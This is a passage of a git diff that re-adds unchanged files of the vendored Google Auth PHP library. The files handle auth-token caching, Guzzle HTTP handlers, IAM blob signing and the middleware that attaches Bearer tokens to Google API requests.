@return string The resulting signature. - * @throws \RuntimeException If the fetcher does not implement - * `Google\Auth\SignBlobInterface`. - */ - public function signBlob($stringToSign, $forceOpenSsl = false) - { - if (!$this->fetcher instanceof SignBlobInterface) { - throw new \RuntimeException( - 'Credentials fetcher does not implement ' . - 'Google\Auth\SignBlobInterface' - ); - } - - // Pass the access token from cache to GCECredentials for signing a blob. - // This saves a call to the metadata server when a cached token exists. - if ($this->fetcher instanceof Credentials\GCECredentials) { - $cached = $this->fetchAuthTokenFromCache(); - $accessToken = isset($cached['access_token']) ? $cached['access_token'] : null; - return $this->fetcher->signBlob($stringToSign, $forceOpenSsl, $accessToken); - } - - return $this->fetcher->signBlob($stringToSign, $forceOpenSsl); - } - - /** - * Get the quota project used for this API request from the credentials - * fetcher. - * - * @return string|null - */ - public function getQuotaProject() - { - if ($this->fetcher instanceof GetQuotaProjectInterface) { - return $this->fetcher->getQuotaProject(); - } - } - - /* - * Get the Project ID from the fetcher. - * - * @param callable $httpHandler Callback which delivers psr7 request - * @return string|null - * @throws \RuntimeException If the fetcher does not implement - * `Google\Auth\ProvidesProjectIdInterface`. - */ - public function getProjectId(callable $httpHandler = null) - { - if (!$this->fetcher instanceof ProjectIdProviderInterface) { - throw new \RuntimeException( - 'Credentials fetcher does not implement ' . - 'Google\Auth\ProvidesProjectIdInterface' - ); - } - - return $this->fetcher->getProjectId($httpHandler); - } - - /** - * Updates metadata with the authorization token. - * - * @param array $metadata metadata hashmap - * @param string $authUri optional auth uri - * @param callable $httpHandler callback which delivers psr7 request - * @return array updated metadata hashmap - * @throws \RuntimeException If the fetcher does not implement - * `Google\Auth\UpdateMetadataInterface`. - */ - public function updateMetadata( - $metadata, - $authUri = null, - callable $httpHandler = null - ) { - if (!$this->fetcher instanceof UpdateMetadataInterface) { - throw new \RuntimeException( - 'Credentials fetcher does not implement ' . - 'Google\Auth\UpdateMetadataInterface' - ); - } - - $cached = $this->fetchAuthTokenFromCache($authUri); - if ($cached) { - // Set the access token in the `Authorization` metadata header so - // the downstream call to updateMetadata know they don't need to - // fetch another token. - if (isset($cached['access_token'])) { - $metadata[self::AUTH_METADATA_KEY] = [ - 'Bearer ' . $cached['access_token'] - ]; - } - } - - $newMetadata = $this->fetcher->updateMetadata( - $metadata, - $authUri, - $httpHandler - ); - - if (!$cached && $token = $this->fetcher->getLastReceivedToken()) { - $this->saveAuthTokenInCache($token, $authUri); - } - - return $newMetadata; - } - - private function fetchAuthTokenFromCache($authUri = null) - { - // Use the cached value if its available. - // - // TODO: correct caching; update the call to setCachedValue to set the expiry - // to the value returned with the auth token. - // - // TODO: correct caching; enable the cache to be cleared. - - // if $authUri is set, use it as the cache key - $cacheKey = $authUri - ? $this->getFullCacheKey($authUri) - : $this->fetcher->getCacheKey(); - - $cached = $this->getCachedValue($cacheKey); - if (is_array($cached)) { - if (empty($cached['expires_at'])) { - // If there is no expiration data, assume token is not expired. - // (for JwtAccess and ID tokens) - return $cached; - } - if (time() < $cached['expires_at']) { - // access token is not expired - return $cached; - } - } - - return null; - } - - private function saveAuthTokenInCache($authToken, $authUri = null) - { - if (isset($authToken['access_token']) || - isset($authToken['id_token'])) { - // if $authUri is set, use it as the cache key - $cacheKey = $authUri - ? $this->getFullCacheKey($authUri) - : $this->fetcher->getCacheKey(); - - $this->setCachedValue($cacheKey, $authToken); - } - } -} +fetcher = $fetcher; + $this->cache = $cache; + $this->cacheConfig = array_merge([ + 'lifetime' => 1500, + 'prefix' => '', + ], (array) $cacheConfig); + } + + /** + * Implements FetchAuthTokenInterface#fetchAuthToken. + * + * Checks the cache for a valid auth token and fetches the auth tokens + * from the supplied fetcher. + * + * @param callable $httpHandler callback which delivers psr7 request + * @return array the response + * @throws \Exception + */ + public function fetchAuthToken(callable $httpHandler = null) + { + if ($cached = $this->fetchAuthTokenFromCache()) { + return $cached; + } + + $auth_token = $this->fetcher->fetchAuthToken($httpHandler); + + $this->saveAuthTokenInCache($auth_token); + + return $auth_token; + } + + /** + * @return string + */ + public function getCacheKey() + { + return $this->getFullCacheKey($this->fetcher->getCacheKey()); + } + + /** + * @return array|null + */ + public function getLastReceivedToken() + { + return $this->fetcher->getLastReceivedToken(); + } + + /** + * Get the client name from the fetcher. + * + * @param callable $httpHandler An HTTP handler to deliver PSR7 requests. + * @return string + */ + public function getClientName(callable $httpHandler = null) + { + if (!$this->fetcher instanceof SignBlobInterface) { + throw new \RuntimeException( + 'Credentials fetcher does not implement ' . + 'Google\Auth\SignBlobInterface' + ); + } + + return $this->fetcher->getClientName($httpHandler); + } + + /** + * Sign a blob using the fetcher. + * + * @param string $stringToSign The string to sign. + * @param bool $forceOpenSsl Require use of OpenSSL for local signing. Does + * not apply to signing done using external services. **Defaults to** + * `false`. + * @return string The resulting signature. + * @throws \RuntimeException If the fetcher does not implement + * `Google\Auth\SignBlobInterface`. + */ + public function signBlob($stringToSign, $forceOpenSsl = false) + { + if (!$this->fetcher instanceof SignBlobInterface) { + throw new \RuntimeException( + 'Credentials fetcher does not implement ' . + 'Google\Auth\SignBlobInterface' + ); + } + + // Pass the access token from cache to GCECredentials for signing a blob. + // This saves a call to the metadata server when a cached token exists. + if ($this->fetcher instanceof Credentials\GCECredentials) { + $cached = $this->fetchAuthTokenFromCache(); + $accessToken = isset($cached['access_token']) ? $cached['access_token'] : null; + return $this->fetcher->signBlob($stringToSign, $forceOpenSsl, $accessToken); + } + + return $this->fetcher->signBlob($stringToSign, $forceOpenSsl); + } + + /** + * Get the quota project used for this API request from the credentials + * fetcher. + * + * @return string|null + */ + public function getQuotaProject() + { + if ($this->fetcher instanceof GetQuotaProjectInterface) { + return $this->fetcher->getQuotaProject(); + } + } + + /* + * Get the Project ID from the fetcher. + * + * @param callable $httpHandler Callback which delivers psr7 request + * @return string|null + * @throws \RuntimeException If the fetcher does not implement + * `Google\Auth\ProvidesProjectIdInterface`. + */ + public function getProjectId(callable $httpHandler = null) + { + if (!$this->fetcher instanceof ProjectIdProviderInterface) { + throw new \RuntimeException( + 'Credentials fetcher does not implement ' . + 'Google\Auth\ProvidesProjectIdInterface' + ); + } + + return $this->fetcher->getProjectId($httpHandler); + } + + /** + * Updates metadata with the authorization token. + * + * @param array $metadata metadata hashmap + * @param string $authUri optional auth uri + * @param callable $httpHandler callback which delivers psr7 request + * @return array updated metadata hashmap + * @throws \RuntimeException If the fetcher does not implement + * `Google\Auth\UpdateMetadataInterface`. + */ + public function updateMetadata( + $metadata, + $authUri = null, + callable $httpHandler = null + ) { + if (!$this->fetcher instanceof UpdateMetadataInterface) { + throw new \RuntimeException( + 'Credentials fetcher does not implement ' . + 'Google\Auth\UpdateMetadataInterface' + ); + } + + $cached = $this->fetchAuthTokenFromCache($authUri); + if ($cached) { + // Set the access token in the `Authorization` metadata header so + // the downstream call to updateMetadata know they don't need to + // fetch another token. + if (isset($cached['access_token'])) { + $metadata[self::AUTH_METADATA_KEY] = [ + 'Bearer ' . $cached['access_token'] + ]; + } + } + + $newMetadata = $this->fetcher->updateMetadata( + $metadata, + $authUri, + $httpHandler + ); + + if (!$cached && $token = $this->fetcher->getLastReceivedToken()) { + $this->saveAuthTokenInCache($token, $authUri); + } + + return $newMetadata; + } + + private function fetchAuthTokenFromCache($authUri = null) + { + // Use the cached value if its available. + // + // TODO: correct caching; update the call to setCachedValue to set the expiry + // to the value returned with the auth token. + // + // TODO: correct caching; enable the cache to be cleared. + + // if $authUri is set, use it as the cache key + $cacheKey = $authUri + ? $this->getFullCacheKey($authUri) + : $this->fetcher->getCacheKey(); + + $cached = $this->getCachedValue($cacheKey); + if (is_array($cached)) { + if (empty($cached['expires_at'])) { + // If there is no expiration data, assume token is not expired. + // (for JwtAccess and ID tokens) + return $cached; + } + if (time() < $cached['expires_at']) { + // access token is not expired + return $cached; + } + } + + return null; + } + + private function saveAuthTokenInCache($authToken, $authUri = null) + { + if (isset($authToken['access_token']) || + isset($authToken['id_token'])) { + // if $authUri is set, use it as the cache key + $cacheKey = $authUri + ? $this->getFullCacheKey($authUri) + : $this->fetcher->getCacheKey(); + + $this->setCachedValue($cacheKey, $authToken); + } + } +} diff --git a/vendor/google/auth/src/FetchAuthTokenInterface.php b/vendor/google/auth/src/FetchAuthTokenInterface.php index 06ca280074..4bf4d27ff7 100644 --- a/vendor/google/auth/src/FetchAuthTokenInterface.php +++ b/vendor/google/auth/src/FetchAuthTokenInterface.php @@ -1,54 +1,54 @@ -cache = $cache; - $this->cacheConfig = array_merge([ - 'lifetime' => 1500, - 'prefix' => '', - ], (array) $cacheConfig); - } - - /** - * Caches the result of onGce so the metadata server is not called multiple - * times. - * - * @param callable $httpHandler callback which delivers psr7 request - * @return bool True if this a GCEInstance, false otherwise - */ - public function onGce(callable $httpHandler = null) - { - if (is_null($this->cache)) { - return GCECredentials::onGce($httpHandler); - } - - $cacheKey = self::GCE_CACHE_KEY; - $onGce = $this->getCachedValue($cacheKey); - - if (is_null($onGce)) { - $onGce = GCECredentials::onGce($httpHandler); - $this->setCachedValue($cacheKey, $onGce); - } - - return $onGce; - } -} +cache = $cache; + $this->cacheConfig = array_merge([ + 'lifetime' => 1500, + 'prefix' => '', + ], (array) $cacheConfig); + } + + /** + * Caches the result of onGce so the metadata server is not called multiple + * times. + * + * @param callable $httpHandler callback which delivers psr7 request + * @return bool True if this a GCEInstance, false otherwise + */ + public function onGce(callable $httpHandler = null) + { + if (is_null($this->cache)) { + return GCECredentials::onGce($httpHandler); + } + + $cacheKey = self::GCE_CACHE_KEY; + $onGce = $this->getCachedValue($cacheKey); + + if (is_null($onGce)) { + $onGce = GCECredentials::onGce($httpHandler); + $this->setCachedValue($cacheKey, $onGce); + } + + return $onGce; + } +} diff --git a/vendor/google/auth/src/GetQuotaProjectInterface.php b/vendor/google/auth/src/GetQuotaProjectInterface.php index ef1c6c80fe..517f062e7b 100644 --- a/vendor/google/auth/src/GetQuotaProjectInterface.php +++ b/vendor/google/auth/src/GetQuotaProjectInterface.php @@ -1,33 +1,33 @@ -client = $client; - } - - /** - * Accepts a PSR-7 Request and an array of options and returns a PSR-7 response. - * - * @param RequestInterface $request - * @param array $options - * @return ResponseInterface - */ - public function __invoke(RequestInterface $request, array $options = []) - { - $response = $this->client->send( - $this->createGuzzle5Request($request, $options) - ); - - return $this->createPsr7Response($response); - } - - /** - * Accepts a PSR-7 request and an array of options and returns a PromiseInterface - * - * @param RequestInterface $request - * @param array $options - * @return Promise - */ - public function async(RequestInterface $request, array $options = []) - { - if (!class_exists('GuzzleHttp\Promise\Promise')) { - throw new Exception('Install guzzlehttp/promises to use async with Guzzle 5'); - } - - $futureResponse = $this->client->send( - $this->createGuzzle5Request( - $request, - ['future' => true] + $options - ) - ); - - $promise = new Promise( - function () use ($futureResponse) { - try { - $futureResponse->wait(); - } catch (Exception $e) { - // The promise is already delivered when the exception is - // thrown, so don't rethrow it. - } - }, - [$futureResponse, 'cancel'] - ); - - $futureResponse->then([$promise, 'resolve'], [$promise, 'reject']); - - return $promise->then( - function (Guzzle5ResponseInterface $response) { - // Adapt the Guzzle 5 Response to a PSR-7 Response. - return $this->createPsr7Response($response); - }, - function (Exception $e) { - return new RejectedPromise($e); - } - ); - } - - private function createGuzzle5Request(RequestInterface $request, array $options) - { - return $this->client->createRequest( - $request->getMethod(), - $request->getUri(), - array_merge_recursive([ - 'headers' => $request->getHeaders(), - 'body' => $request->getBody(), - ], $options) - ); - } - - private function createPsr7Response(Guzzle5ResponseInterface $response) - { - return new Response( - $response->getStatusCode(), - $response->getHeaders() ?: [], - $response->getBody(), - $response->getProtocolVersion(), - $response->getReasonPhrase() - ); - } -} +client = $client; + } + + /** + * Accepts a PSR-7 Request and an array of options and returns a PSR-7 response. + * + * @param RequestInterface $request + * @param array $options + * @return ResponseInterface + */ + public function __invoke(RequestInterface $request, array $options = []) + { + $response = $this->client->send( + $this->createGuzzle5Request($request, $options) + ); + + return $this->createPsr7Response($response); + } + + /** + * Accepts a PSR-7 request and an array of options and returns a PromiseInterface + * + * @param RequestInterface $request + * @param array $options + * @return Promise + */ + public function async(RequestInterface $request, array $options = []) + { + if (!class_exists('GuzzleHttp\Promise\Promise')) { + throw new Exception('Install guzzlehttp/promises to use async with Guzzle 5'); + } + + $futureResponse = $this->client->send( + $this->createGuzzle5Request( + $request, + ['future' => true] + $options + ) + ); + + $promise = new Promise( + function () use ($futureResponse) { + try { + $futureResponse->wait(); + } catch (Exception $e) { + // The promise is already delivered when the exception is + // thrown, so don't rethrow it. + } + }, + [$futureResponse, 'cancel'] + ); + + $futureResponse->then([$promise, 'resolve'], [$promise, 'reject']); + + return $promise->then( + function (Guzzle5ResponseInterface $response) { + // Adapt the Guzzle 5 Response to a PSR-7 Response. + return $this->createPsr7Response($response); + }, + function (Exception $e) { + return new RejectedPromise($e); + } + ); + } + + private function createGuzzle5Request(RequestInterface $request, array $options) + { + return $this->client->createRequest( + $request->getMethod(), + $request->getUri(), + array_merge_recursive([ + 'headers' => $request->getHeaders(), + 'body' => $request->getBody(), + ], $options) + ); + } + + private function createPsr7Response(Guzzle5ResponseInterface $response) + { + return new Response( + $response->getStatusCode(), + $response->getHeaders() ?: [], + $response->getBody(), + $response->getProtocolVersion(), + $response->getReasonPhrase() + ); + } +} diff --git a/vendor/google/auth/src/HttpHandler/Guzzle6HttpHandler.php b/vendor/google/auth/src/HttpHandler/Guzzle6HttpHandler.php index 725da2e591..aaa7b43854 100644 --- a/vendor/google/auth/src/HttpHandler/Guzzle6HttpHandler.php +++ b/vendor/google/auth/src/HttpHandler/Guzzle6HttpHandler.php @@ -1,62 +1,62 @@ -client = $client; - } - - /** - * Accepts a PSR-7 request and an array of options and returns a PSR-7 response. - * - * @param RequestInterface $request - * @param array $options - * @return ResponseInterface - */ - public function __invoke(RequestInterface $request, array $options = []) - { - return $this->client->send($request, $options); - } - - /** - * Accepts a PSR-7 request and an array of options and returns a PromiseInterface - * - * @param RequestInterface $request - * @param array $options - * - * @return \GuzzleHttp\Promise\PromiseInterface - */ - public function async(RequestInterface $request, array $options = []) - { - return $this->client->sendAsync($request, $options); - } -} +client = $client; + } + + /** + * Accepts a PSR-7 request and an array of options and returns a PSR-7 response. + * + * @param RequestInterface $request + * @param array $options + * @return ResponseInterface + */ + public function __invoke(RequestInterface $request, array $options = []) + { + return $this->client->send($request, $options); + } + + /** + * Accepts a PSR-7 request and an array of options and returns a PromiseInterface + * + * @param RequestInterface $request + * @param array $options + * + * @return \GuzzleHttp\Promise\PromiseInterface + */ + public function async(RequestInterface $request, array $options = []) + { + return $this->client->sendAsync($request, $options); + } +} diff --git a/vendor/google/auth/src/HttpHandler/Guzzle7HttpHandler.php b/vendor/google/auth/src/HttpHandler/Guzzle7HttpHandler.php index a889c80fac..e84f6603b4 100644 --- a/vendor/google/auth/src/HttpHandler/Guzzle7HttpHandler.php +++ b/vendor/google/auth/src/HttpHandler/Guzzle7HttpHandler.php @@ -1,21 +1,21 @@ -httpHandler = $httpHandler - ?: HttpHandlerFactory::build(HttpClientCache::getHttpClient()); - } - - /** - * Sign a string using the IAM signBlob API. - * - * Note that signing using IAM requires your service account to have the - * `iam.serviceAccounts.signBlob` permission, part of the "Service Account - * Token Creator" IAM role. - * - * @param string $email The service account email. - * @param string $accessToken An access token from the service account. - * @param string $stringToSign The string to be signed. - * @param array $delegates [optional] A list of service account emails to - * add to the delegate chain. If omitted, the value of `$email` will - * be used. - * @return string The signed string, base64-encoded. - */ - public function signBlob($email, $accessToken, $stringToSign, array $delegates = []) - { - $httpHandler = $this->httpHandler; - $name = sprintf(self::SERVICE_ACCOUNT_NAME, $email); - $uri = self::IAM_API_ROOT . '/' . sprintf(self::SIGN_BLOB_PATH, $name); - - if ($delegates) { - foreach ($delegates as &$delegate) { - $delegate = sprintf(self::SERVICE_ACCOUNT_NAME, $delegate); - } - } else { - $delegates = [$name]; - } - - $body = [ - 'delegates' => $delegates, - 'payload' => base64_encode($stringToSign), - ]; - - $headers = [ - 'Authorization' => 'Bearer ' . $accessToken - ]; - - $request = new Psr7\Request( - 'POST', - $uri, - $headers, - Utils::streamFor(json_encode($body)) - ); - - $res = $httpHandler($request); - $body = json_decode((string) $res->getBody(), true); - - return $body['signedBlob']; - } -} +httpHandler = $httpHandler + ?: HttpHandlerFactory::build(HttpClientCache::getHttpClient()); + } + + /** + * Sign a string using the IAM signBlob API. + * + * Note that signing using IAM requires your service account to have the + * `iam.serviceAccounts.signBlob` permission, part of the "Service Account + * Token Creator" IAM role. + * + * @param string $email The service account email. + * @param string $accessToken An access token from the service account. + * @param string $stringToSign The string to be signed. + * @param array $delegates [optional] A list of service account emails to + * add to the delegate chain. If omitted, the value of `$email` will + * be used. + * @return string The signed string, base64-encoded. + */ + public function signBlob($email, $accessToken, $stringToSign, array $delegates = []) + { + $httpHandler = $this->httpHandler; + $name = sprintf(self::SERVICE_ACCOUNT_NAME, $email); + $uri = self::IAM_API_ROOT . '/' . sprintf(self::SIGN_BLOB_PATH, $name); + + if ($delegates) { + foreach ($delegates as &$delegate) { + $delegate = sprintf(self::SERVICE_ACCOUNT_NAME, $delegate); + } + } else { + $delegates = [$name]; + } + + $body = [ + 'delegates' => $delegates, + 'payload' => base64_encode($stringToSign), + ]; + + $headers = [ + 'Authorization' => 'Bearer ' . $accessToken + ]; + + $request = new Psr7\Request( + 'POST', + $uri, + $headers, + Utils::streamFor(json_encode($body)) + ); + + $res = $httpHandler($request); + $body = json_decode((string) $res->getBody(), true); + + return $body['signedBlob']; + } +} diff --git a/vendor/google/auth/src/Middleware/AuthTokenMiddleware.php b/vendor/google/auth/src/Middleware/AuthTokenMiddleware.php index e98aab6b46..02bb1744c5 100644 --- a/vendor/google/auth/src/Middleware/AuthTokenMiddleware.php +++ b/vendor/google/auth/src/Middleware/AuthTokenMiddleware.php @@ -1,148 +1,148 @@ -' - */ -class AuthTokenMiddleware -{ - /** - * @var callback - */ - private $httpHandler; - - /** - * @var FetchAuthTokenInterface - */ - private $fetcher; - - /** - * @var callable - */ - private $tokenCallback; - - /** - * Creates a new AuthTokenMiddleware. - * - * @param FetchAuthTokenInterface $fetcher is used to fetch the auth token - * @param callable $httpHandler (optional) callback which delivers psr7 request - * @param callable $tokenCallback (optional) function to be called when a new token is fetched. - */ - public function __construct( - FetchAuthTokenInterface $fetcher, - callable $httpHandler = null, - callable $tokenCallback = null - ) { - $this->fetcher = $fetcher; - $this->httpHandler = $httpHandler; - $this->tokenCallback = $tokenCallback; - } - - /** - * Updates the request with an Authorization header when auth is 'google_auth'. - * - * use Google\Auth\Middleware\AuthTokenMiddleware; - * use Google\Auth\OAuth2; - * use GuzzleHttp\Client; - * use GuzzleHttp\HandlerStack; - * - * $config = [...]; - * $oauth2 = new OAuth2($config) - * $middleware = new AuthTokenMiddleware($oauth2); - * $stack = HandlerStack::create(); - * $stack->push($middleware); - * - * $client = new Client([ - * 'handler' => $stack, - * 'base_uri' => 'https://www.googleapis.com/taskqueue/v1beta2/projects/', - * 'auth' => 'google_auth' // authorize all requests - * ]); - * - * $res = $client->get('myproject/taskqueues/myqueue'); - * - * @param callable $handler - * @return \Closure - */ - public function __invoke(callable $handler) - { - return function (RequestInterface $request, array $options) use ($handler) { - // Requests using "auth"="google_auth" will be authorized. - if (!isset($options['auth']) || $options['auth'] !== 'google_auth') { - return $handler($request, $options); - } - - $request = $request->withHeader('authorization', 'Bearer ' . $this->fetchToken()); - - if ($quotaProject = $this->getQuotaProject()) { - $request = $request->withHeader( - GetQuotaProjectInterface::X_GOOG_USER_PROJECT_HEADER, - $quotaProject - ); - } - - return $handler($request, $options); - }; - } - - /** - * Call fetcher to fetch the token. - * - * @return string - */ - private function fetchToken() - { - $auth_tokens = $this->fetcher->fetchAuthToken($this->httpHandler); - - if (array_key_exists('access_token', $auth_tokens)) { - // notify the callback if applicable - if ($this->tokenCallback) { - call_user_func( - $this->tokenCallback, - $this->fetcher->getCacheKey(), - $auth_tokens['access_token'] - ); - } - - return $auth_tokens['access_token']; - } - - if (array_key_exists('id_token', $auth_tokens)) { - return $auth_tokens['id_token']; - } - } - - private function getQuotaProject() - { - if ($this->fetcher instanceof GetQuotaProjectInterface) { - return $this->fetcher->getQuotaProject(); - } - } -} +' + */ +class AuthTokenMiddleware +{ + /** + * @var callback + */ + private $httpHandler; + + /** + * @var FetchAuthTokenInterface + */ + private $fetcher; + + /** + * @var callable + */ + private $tokenCallback; + + /** + * Creates a new AuthTokenMiddleware. + * + * @param FetchAuthTokenInterface $fetcher is used to fetch the auth token + * @param callable $httpHandler (optional) callback which delivers psr7 request + * @param callable $tokenCallback (optional) function to be called when a new token is fetched. + */ + public function __construct( + FetchAuthTokenInterface $fetcher, + callable $httpHandler = null, + callable $tokenCallback = null + ) { + $this->fetcher = $fetcher; + $this->httpHandler = $httpHandler; + $this->tokenCallback = $tokenCallback; + } + + /** + * Updates the request with an Authorization header when auth is 'google_auth'. + * + * use Google\Auth\Middleware\AuthTokenMiddleware; + * use Google\Auth\OAuth2; + * use GuzzleHttp\Client; + * use GuzzleHttp\HandlerStack; + * + * $config = [...]; + * $oauth2 = new OAuth2($config) + * $middleware = new AuthTokenMiddleware($oauth2); + * $stack = HandlerStack::create(); + * $stack->push($middleware); + * + * $client = new Client([ + * 'handler' => $stack, + * 'base_uri' => 'https://www.googleapis.com/taskqueue/v1beta2/projects/', + * 'auth' => 'google_auth' // authorize all requests + * ]); + * + * $res = $client->get('myproject/taskqueues/myqueue'); + * + * @param callable $handler + * @return \Closure + */ + public function __invoke(callable $handler) + { + return function (RequestInterface $request, array $options) use ($handler) { + // Requests using "auth"="google_auth" will be authorized. + if (!isset($options['auth']) || $options['auth'] !== 'google_auth') { + return $handler($request, $options); + } + + $request = $request->withHeader('authorization', 'Bearer ' . $this->fetchToken()); + + if ($quotaProject = $this->getQuotaProject()) { + $request = $request->withHeader( + GetQuotaProjectInterface::X_GOOG_USER_PROJECT_HEADER, + $quotaProject + ); + } + + return $handler($request, $options); + }; + } + + /** + * Call fetcher to fetch the token. + * + * @return string + */ + private function fetchToken() + { + $auth_tokens = $this->fetcher->fetchAuthToken($this->httpHandler); + + if (array_key_exists('access_token', $auth_tokens)) { + // notify the callback if applicable + if ($this->tokenCallback) { + call_user_func( + $this->tokenCallback, + $this->fetcher->getCacheKey(), + $auth_tokens['access_token'] + ); + } + + return $auth_tokens['access_token']; + } + + if (array_key_exists('id_token', $auth_tokens)) { + return $auth_tokens['id_token']; + } + } + + private function getQuotaProject() + { + if ($this->fetcher instanceof GetQuotaProjectInterface) { + return $this->fetcher->getQuotaProject(); + } + } +} diff --git a/vendor/google/auth/src/Middleware/ProxyAuthTokenMiddleware.php b/vendor/google/auth/src/Middleware/ProxyAuthTokenMiddleware.php index 110bd34173..a1e81c4e2c 100644 --- a/vendor/google/auth/src/Middleware/ProxyAuthTokenMiddleware.php +++ b/vendor/google/auth/src/Middleware/ProxyAuthTokenMiddleware.php @@ -1,148 +1,148 @@ -' - */ -class ProxyAuthTokenMiddleware -{ - /** - * @var callback - */ - private $httpHandler; - - /** - * @var FetchAuthTokenInterface - */ - private $fetcher; - - /** - * @var callable - */ - private $tokenCallback; - - /** - * Creates a new ProxyAuthTokenMiddleware. - * - * @param FetchAuthTokenInterface $fetcher is used to fetch the auth token - * @param callable $httpHandler (optional) callback which delivers psr7 request - * @param callable $tokenCallback (optional) function to be called when a new token is fetched. - */ - public function __construct( - FetchAuthTokenInterface $fetcher, - callable $httpHandler = null, - callable $tokenCallback = null - ) { - $this->fetcher = $fetcher; - $this->httpHandler = $httpHandler; - $this->tokenCallback = $tokenCallback; - } - - /** - * Updates the request with an Authorization header when auth is 'google_auth'. - * - * use Google\Auth\Middleware\ProxyAuthTokenMiddleware; - * use Google\Auth\OAuth2; - * use GuzzleHttp\Client; - * use GuzzleHttp\HandlerStack; - * - * $config = [...]; - * $oauth2 = new OAuth2($config) - * $middleware = new ProxyAuthTokenMiddleware($oauth2); - * $stack = HandlerStack::create(); - * $stack->push($middleware); - * - * $client = new Client([ - * 'handler' => $stack, - * 'base_uri' => 'https://www.googleapis.com/taskqueue/v1beta2/projects/', - * 'proxy_auth' => 'google_auth' // authorize all requests - * ]); - * - * $res = $client->get('myproject/taskqueues/myqueue'); - * - * @param callable $handler - * @return \Closure - */ - public function __invoke(callable $handler) - { - return function (RequestInterface $request, array $options) use ($handler) { - // Requests using "proxy_auth"="google_auth" will be authorized. - if (!isset($options['proxy_auth']) || $options['proxy_auth'] !== 'google_auth') { - return $handler($request, $options); - } - - $request = $request->withHeader('proxy-authorization', 'Bearer ' . $this->fetchToken()); - - if ($quotaProject = $this->getQuotaProject()) { - $request = $request->withHeader( - GetQuotaProjectInterface::X_GOOG_USER_PROJECT_HEADER, - $quotaProject - ); - } - - return $handler($request, $options); - }; - } - - /** - * Call fetcher to fetch the token. - * - * @return string - */ - private function fetchToken() - { - $auth_tokens = $this->fetcher->fetchAuthToken($this->httpHandler); - - if (array_key_exists('access_token', $auth_tokens)) { - // notify the callback if applicable - if ($this->tokenCallback) { - call_user_func( - $this->tokenCallback, - $this->fetcher->getCacheKey(), - $auth_tokens['access_token'] - ); - } - - return $auth_tokens['access_token']; - } - - if (array_key_exists('id_token', $auth_tokens)) { - return $auth_tokens['id_token']; - } - } - - private function getQuotaProject() - { - if ($this->fetcher instanceof GetQuotaProjectInterface) { - return $this->fetcher->getQuotaProject(); - } - } -} +' + */ +class ProxyAuthTokenMiddleware +{ + /** + * @var callback + */ + private $httpHandler; + + /** + * @var FetchAuthTokenInterface + */ + private $fetcher; + + /** + * @var callable + */ + private $tokenCallback; + + /** + * Creates a new ProxyAuthTokenMiddleware. + * + * @param FetchAuthTokenInterface $fetcher is used to fetch the auth token + * @param callable $httpHandler (optional) callback which delivers psr7 request + * @param callable $tokenCallback (optional) function to be called when a new token is fetched. + */ + public function __construct( + FetchAuthTokenInterface $fetcher, + callable $httpHandler = null, + callable $tokenCallback = null + ) { + $this->fetcher = $fetcher; + $this->httpHandler = $httpHandler; + $this->tokenCallback = $tokenCallback; + } + + /** + * Updates the request with an Authorization header when auth is 'google_auth'. + * + * use Google\Auth\Middleware\ProxyAuthTokenMiddleware; + * use Google\Auth\OAuth2; + * use GuzzleHttp\Client; + * use GuzzleHttp\HandlerStack; + * + * $config = [...]; + * $oauth2 = new OAuth2($config) + * $middleware = new ProxyAuthTokenMiddleware($oauth2); + * $stack = HandlerStack::create(); + * $stack->push($middleware); + * + * $client = new Client([ + * 'handler' => $stack, + * 'base_uri' => 'https://www.googleapis.com/taskqueue/v1beta2/projects/', + * 'proxy_auth' => 'google_auth' // authorize all requests + * ]); + * + * $res = $client->get('myproject/taskqueues/myqueue'); + * + * @param callable $handler + * @return \Closure + */ + public function __invoke(callable $handler) + { + return function (RequestInterface $request, array $options) use ($handler) { + // Requests using "proxy_auth"="google_auth" will be authorized. + if (!isset($options['proxy_auth']) || $options['proxy_auth'] !== 'google_auth') { + return $handler($request, $options); + } + + $request = $request->withHeader('proxy-authorization', 'Bearer ' . $this->fetchToken()); + + if ($quotaProject = $this->getQuotaProject()) { + $request = $request->withHeader( + GetQuotaProjectInterface::X_GOOG_USER_PROJECT_HEADER, + $quotaProject + ); + } + + return $handler($request, $options); + }; + } + + /** + * Call fetcher to fetch the token. + * + * @return string + */ + private function fetchToken() + { + $auth_tokens = $this->fetcher->fetchAuthToken($this->httpHandler); + + if (array_key_exists('access_token', $auth_tokens)) { + // notify the callback if applicable + if ($this->tokenCallback) { + call_user_func( + $this->tokenCallback, + $this->fetcher->getCacheKey(), + $auth_tokens['access_token'] + ); + } + + return $auth_tokens['access_token']; + } + + if (array_key_exists('id_token', $auth_tokens)) { + return $auth_tokens['id_token']; + } + } + + private function getQuotaProject() + { + if ($this->fetcher instanceof GetQuotaProjectInterface) { + return $this->fetcher->getQuotaProject(); + } + } +} diff --git a/vendor/google/auth/src/Middleware/ScopedAccessTokenMiddleware.php b/vendor/google/auth/src/Middleware/ScopedAccessTokenMiddleware.php index 601191668b..ecbb6596bd 100644 --- a/vendor/google/auth/src/Middleware/ScopedAccessTokenMiddleware.php +++ b/vendor/google/auth/src/Middleware/ScopedAccessTokenMiddleware.php @@ -1,175 +1,175 @@ -' - */ -class ScopedAccessTokenMiddleware -{ - use CacheTrait; - - const DEFAULT_CACHE_LIFETIME = 1500; - - /** - * @var CacheItemPoolInterface - */ - private $cache; - - /** - * @var array configuration - */ - private $cacheConfig; - - /** - * @var callable - */ - private $tokenFunc; - - /** - * @var array|string - */ - private $scopes; - - /** - * Creates a new ScopedAccessTokenMiddleware. - * - * @param callable $tokenFunc a token generator function - * @param array|string $scopes the token authentication scopes - * @param array $cacheConfig configuration for the cache when it's present - * @param CacheItemPoolInterface $cache an implementation of CacheItemPoolInterface - */ - public function __construct( - callable $tokenFunc, - $scopes, - array $cacheConfig = null, - CacheItemPoolInterface $cache = null - ) { - $this->tokenFunc = $tokenFunc; - if (!(is_string($scopes) || is_array($scopes))) { - throw new \InvalidArgumentException( - 'wants scope should be string or array' - ); - } - $this->scopes = $scopes; - - if (!is_null($cache)) { - $this->cache = $cache; - $this->cacheConfig = array_merge([ - 'lifetime' => self::DEFAULT_CACHE_LIFETIME, - 'prefix' => '', - ], $cacheConfig); - } - } - - /** - * Updates the request with an Authorization header when auth is 'scoped'. - * - * E.g this could be used to authenticate using the AppEngine - * AppIdentityService. - * - * use google\appengine\api\app_identity\AppIdentityService; - * use Google\Auth\Middleware\ScopedAccessTokenMiddleware; - * use GuzzleHttp\Client; - * use GuzzleHttp\HandlerStack; - * - * $scope = 'https://www.googleapis.com/auth/taskqueue' - * $middleware = new ScopedAccessTokenMiddleware( - * 'AppIdentityService::getAccessToken', - * $scope, - * [ 